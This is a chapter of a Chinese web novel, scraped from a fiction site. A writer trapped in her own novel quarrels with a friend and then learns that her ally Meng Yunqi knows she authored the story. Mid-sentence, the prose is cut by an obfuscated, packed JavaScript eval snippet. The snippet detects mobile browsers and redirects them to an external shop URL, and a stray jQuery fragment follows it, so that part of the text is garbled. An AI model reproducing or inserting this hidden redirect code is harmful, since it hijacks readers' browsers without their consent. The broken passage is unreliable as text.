文趣网 > 其他小说 > 虐文作者穿书后 > 14. 理解
    更让她没想到的是,越斯柔竟笑盈盈地提出了一个匪夷所思的要求:“姐姐,路上颠簸,妹妹有些不适,可否与姐姐同车?”

    卫箫吟想也不想,便斩钉截铁地拒绝:“不可以。”

    越斯柔仿佛预料到她的反应,目光随意向后一扫,扬声道:“妹妹也是一片好心,毕竟临川王在后面眼巴巴地望了姐姐一路,你难道不想见他一面吗?”

    卫箫吟心头一跳,漾开如水般的柔情,抬手吩咐车夫:“停车!”

    卫家的马车应声而止,越斯柔见状,忙命车夫把马车缓缓停在了旁边。

    可是当卫箫吟跳下马车,转头望向身后的官道时,却发现那里只有扬起的尘土,哪有孟云栖半个影子?

    卫箫吟羞愤不已,气自己明明可以识破越斯柔的陷阱,可她还是毫不犹豫地跳了下来;更气自己听到他的名字时,心跳漏了一拍。

    越斯柔撩开车窗的锦帘,俯视着一脸震怒的卫箫吟:“原来和姐姐联手的人果然是临川王!”

    “你诈我?卫箫吟握紧拳头,眼中怒火喷薄而出。

    “姐姐不也在用更拙劣的谎言骗我吗?”越斯柔轻笑一声,“这里不是说话的地方,上车吧。”

    卫箫吟心头滞闷难当,转身回到自己的马车前,正要登车,越斯柔已忍不住急声唤道:“姐姐,等等!”

    越斯柔再也顾不得什么闺阁仪态,提着裙摆踉踉跄跄地从自己的马车上跳下,扑到了卫箫吟的车前,张开双臂死死拦住。

    “姐姐,求你听我说一句!”越斯柔仰起头,眼底似有泪意翻涌,“我从来没想过要害你,是永安王,他……”

    卫箫吟站在帘子前,居高临下地看着她。越斯柔那张娇俏可人的小脸此刻写满了哀戚,却激不起她半分怜惜:“不必说了。你我相交多年,可你宁愿听信孟漪白那个卑劣小人的诡计,亲手将我推入火坑,甚至信他污蔑我勾引在先,这难道还不足以说明一切吗?”

    她陡然高声,痛心不已:“你嫌我高傲,大可以不来结交!何必一边假作亲近,一边却因旁人几句挑拨,就在心底轻贱于我?”

    “姐姐怪我轻信,可这么多年,姐姐何曾主动来过我家一次?”越斯柔浑身一颤,泪水终于缓缓滑落,“我只想与姐姐像寻常闺中密友那般说些体己话,可在姐姐眼里,我是不是始终只是一个麻烦?是我哪里做得不好!”

    她任由泪珠滚过脸颊,声音破碎却执拗:“我是很天真,以为帮姐姐做点什么,就能让姐姐高看我一眼,才会中了他的圈套。我知道错了!你就不能原谅我这一次吗?”

    卫箫吟心头一震。

    原主对越斯柔虽然看似疏离,可她内心深处,并非不关心这个单纯甚至有些莽撞的姑娘。只是她习惯了越斯柔的主动靠近,没想到彼此之间会产生这么大龃龉。

    可是一切都已经太迟。

    “不能。”她闭了闭眼,努力让声音听起来更冷漠,“既然是我辜负你在先,那从此以后,你我不必再虚与委蛇,请你不要再假惺惺来找我了。”

    斩钉截铁的字字句句,泯灭了越斯柔眼中最后一丝微光。

    说完,卫箫吟钻进马车,扬声吩咐车夫:“走!”

    “不许走,给我滚出来!”越斯柔哭喊着,没有躲开车夫扬起的鞭子,“你分明就是因为我爹矮你爹一头,看不起我……”

    车帘纹丝不动,隔绝了里外两个世界。马车贴着越斯柔擦身而过,飞扬的尘土灌了她一嘴,呛得她剧烈咳嗽起来。接着,她脚下一个趔趄,重重摔倒在地上。

    尘土弥漫中,她眼睁睁看着卫家的马车绝尘而去,化作道路尽头一个模糊的黑点,消失不见。所有的乞求都留在了这片扬起的尘埃里,无人倾听。

    越斯柔呆呆地坐在地上,脸上泪痕纵横,混着泥土,狼狈不堪。那双曾经满是天真与依赖的眼睛空洞地望着马车消失的方向,大颗大颗的泪珠无声滚落,砸在身下的泥土里。

    不知过了多久,她的眼中渐渐凝起一丝决绝,抬手用力抹去脸上的泪痕:“既然姐姐如此无情,就别怪我心狠了。”

    卫家的马车最终在一片绚丽的牡丹前停了下来。因与越斯柔大吵一架,满目国色天香顿时在卫箫吟眼中失去了光彩,她停在一丛开得最盛的魏紫前,盯着那层层叠叠的花瓣,却无心玩赏。

    她正出神,忽然察觉身后有人靠近,一双温热的手掌从背后轻轻覆上了她的双眼,淡淡的花香拂过她的鼻翼:“猜猜我是谁?”

    她没有回答,只抬手碰了碰他的指尖。他微微蜷缩起手指,却没有松开。

    两人就这样僵了两秒,卫箫吟的嘴角终于忍不住向上弯了弯:“除了云齐这个没正形的,还能有谁?”

    她转过头,孟云栖松开了手,在她肩侧悬了半刻,才慢慢攥成拳,放了下来:“恭喜你,猜对了!”

    他定了定神,目光扫过周围赏花的人群,将她往旁边一处僻静的凉亭引去:“多日不见,你都在做什么呢?”

    “没做什么。”卫箫吟看着他,沉默片刻,才闷声道,“你怎么瘦了?是不是没好好吃饭?”

    话一出口,她就后悔了,这话说得好像在嫌弃他没照顾好自己似的。

    孟云栖一愣,微微一笑:“你这是在关心我?”

    卫箫吟移开目光,连忙否认:“谁关心你了,就是……随便问问。”

    他并不揭穿,眼底笑意更深。

    顿了顿,他的脸上又掠过一丝惭愧:“上次在客栈,我中了招没能护住你,让你一个人留下周旋,事后想起来,总觉得自己太没担当,心里其实一直过意不去。”

    卫箫吟坐在他对面的石凳上,动容道:“你怎么会这么想?是我把你牵扯进来的,我只有满心的愧疚,怎么会觉得你没有担当?”

    如果他知道这一切灾难的源头,都是她亲手写下的设定,还会觉得自己做得不够吗?

    孟云栖直视着卫箫吟的眼睛,沉默了几秒,才缓缓开口:“其实,我知道这本书是你写的。可能你自己都忘了,我们第二次见面,我听到了你的心声。”

    卫箫吟眼底闪过一丝慌乱,身子晃了晃:“你早就知道了?那你为什么不说?”

    他点点头,眼睛始终没有离开她:“因为我不想让你觉得我是来审判你的,我知道你也不好过。就算这一切是你的创造,那也不代表你就活该要承受这些磨难,更不代表我就该怨恨你,因为你也是被卷进来的!”

    卫箫吟心头剧震,泪意涌了上来,只能慌忙低下头,不想让他看见:“可是系统

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594163|205233||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    把你拐进来帮我,你会遭受很多危险与算计。你不觉得,这些都是我造成的吗?”

    不过片刻,她又忍不住抬起头,偷偷看他。想起他之所以隐瞒,是因为怕她难堪,卫箫吟忽然觉得鼻子更酸了。

    “受千夫所指的是谁?是我吗?”孟云栖摇摇头,笑了,“至于王府里的日子,你知道有多爽吗?吃遍山珍海味,每天睡到日上三竿,一大群人围着伺候……这些福气,不都该谢谢你给我安排的这个身份吗?苦从何来?”

    阳光在他轮廓分明的侧脸上投下斑驳的光影,看得卫箫吟的心狂跳起来,一时忘记了反应。

    孟云栖见她沉默不语,有些慌了:“是我说错什么了吗?”

    “没有。就是……”她摇摇头,咬着唇想说什么,又咽了回去,最后只挤出一句,“谢谢你。”

    孟云栖愣住,扬眉一笑:“谢什么谢,咱俩谁跟谁。”

    卫箫吟瞪他一眼,想怼回去,可嘴角已经压不住了。

    她转过头,假装在看远处的花。眼眶还是热的,但心里的愧疚,似乎真的散去了一些。

    原来这个总是嬉皮笑脸的人,并不像她想象中那么笨拙,他有着她未曾预料到的通透和敏锐。

    见卫箫吟微露笑意,孟云栖心头的得意又膨胀起来:“你是不是突然发现,我脑子其实也挺灵光的?”

    卫箫吟转头望向他,像是要掩盖自己的心动,连忙不着痕迹地转移了话题:“嗯……继续保持。不过,上次你溜得那么快,倒真是出乎我的意料。万一你暴露了……”

    她想象了一下那个画面,有些后怕。

    孟云栖来了精神,一脸自豪:“年年马拉松比赛我都参加,就巡检司里那几个人,还想抓住我?”

    卫箫吟好奇地问:“你在那边是专业运动员?”

    “那倒不是,纯粹爱好而已,不想把它变成谋生的工具。”孟云栖摇摇手指,“我刚硕士毕业,正在实习。没想到在那边当牛马还没完,又得到小说里继续拉磨。”

    卫箫吟忍俊不禁,眼底盛满了细碎的星光:“听你这么说,身体底子该是顶好的呀,怎么这么容易就病倒了?”

    孟云栖俊脸微红,梗着脖子反驳:“这能怪我么?一冷一热,神仙也扛不住!而且这些日子大鱼大肉的,确实疏于锻炼了……”

    他萎靡了一刻,又找回自信,雀跃道:“不过我已经洗心革面了!我每天都会早起锻炼,不仅特意苦练了仪态,还找了好些讲权谋心术的书来啃,想着或许能帮上你一点忙,不至于再拖你的后腿……”

    卫箫吟脑海中浮现出他顶着厚重的书本在房间里来回踱步的画面,笑意更深:“那真是多谢你了。”

    “不客气!”孟云栖见她笑了,仿佛受到了莫大的鼓励,精神抖擞地一摆手,“在其位,谋其政嘛!既然是临川王了,这举手投足的仪态,自然得配得上身份,对吧?”

    说着,他像是要证明自己所言非虚,收敛起平日那份随性与跳脱,挺胸收腹,下巴微抬,起身郑重其事地迈起步子来。

    那模样,活脱脱像一个刚学会走正步的新兵,严肃认真得过分,反而透着一丝滑稽。

    他走了几步,便在卫箫吟面前站定,期待地看着她:“你瞧,是不是好多了?”